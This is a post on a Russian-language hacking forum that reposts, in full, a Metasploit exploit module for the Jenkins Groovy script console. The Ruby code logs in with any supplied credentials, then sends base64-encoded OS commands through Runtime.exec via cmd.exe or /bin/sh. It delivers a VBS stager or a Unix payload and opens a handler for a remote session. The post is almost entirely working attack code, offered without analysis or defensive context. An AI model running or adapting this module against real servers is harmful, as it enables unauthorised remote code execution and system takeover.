• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Jenkins Script-Console Java Execution

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
This Metasploit module uses the Jenkins Groovy script console to execute OS commands using Java.
[METASPLOIT]

Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
  super(update_info(info,
  	'Name'           => 'Jenkins Script-Console Java Execution',
  	'Description'    => %q{
    	This module uses the Jenkins Groovy script console to execute
    OS commands using Java.
  	},
  	'Author'	=>
    [
    	'Spencer McIntyre',
    	'jamcut'
    ],
  	'License'        => MSF_LICENSE,
  	'Version'        => '$Revision: $',
  	'DefaultOptions' =>
    {
    	'WfsDelay' => '10',
    },
  	'References'     =>
    [
    	['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
    ],
  	'Targets'  =>
    [
    	['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win'}],
    	['Unix',     {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
    ],
  	'DisclosureDate' => 'Jan 18 2013',
  	'DefaultTarget'  => 0))

  register_options(
  	[
    OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
    OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
    OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),
  	], self.class)
	end

	def check
  res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})
  if res and res.headers.include?('X-Jenkins')
  	return Exploit::CheckCode::Detected
  else
  	return Exploit::CheckCode::Safe
  end
	end

	def http_send_command(cmd, opts = {})
  res = send_request_cgi({
  	'method'    => 'POST',
  	'uri'       => datastore['PATH'] + '/script',
  	'cookie'    => @cookie,
  	'vars_post' =>
    {
    	'script' => java_craft_runtime_exec(cmd),
    	'Submit' => 'Run'
    }
  })
  if not (res and res.code == 200)
  	fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
  end
	end

	def java_craft_runtime_exec(cmd)
  decoder = Rex::Text.rand_text_alpha(5, 8)
  decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
  cmd_array = Rex::Text.rand_text_alpha(5, 8)
  jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
  jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

  jcode << "String [] #{cmd_array} = new String[3];\n"
  if target['Platform'] == 'win'
  	jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
  	jcode << "#{cmd_array}[1] = \"/c\";\n"
  else
  	jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
  	jcode << "#{cmd_array}[1] = \"-c\";\n"
  end
  jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
  jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
  jcode
	end

	def execute_command(cmd, opts = {})
  http_send_command("#{cmd}")
	end

	def exploit
  print_status('Checking access to the script console')
  res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})
  if not (res and res.code)
  	fail_with(Exploit::Failure::Unknown)
  end

  sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
  @cookie = "#{sessionid}"

  if res.code != 200
  	print_status('Logging in...')
  	res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => datastore['PATH'] + '/j_acegi_security_check',
    'cookie'    => @cookie,
    'vars_post' =>
    	{
      'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
      'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
      'Submit'     => 'log in'
    	}
  	})

  	if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
    fail_with(Exploit::Failure::NoAccess, 'login failed')
  	end
  else
  	print_status('No authentication required, skipping login...')
  end

  case target['Platform']
  when 'win'
  	print_status("#{rhost}:#{rport} - Sending VBS stager...")
  	execute_cmdstager({:linemax => 2049})

  when 'unix'
  	print_status("#{rhost}:#{rport} - Sending payload...")
  	http_send_command("#{payload.encoded}")
  end

  handler
	end
end
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх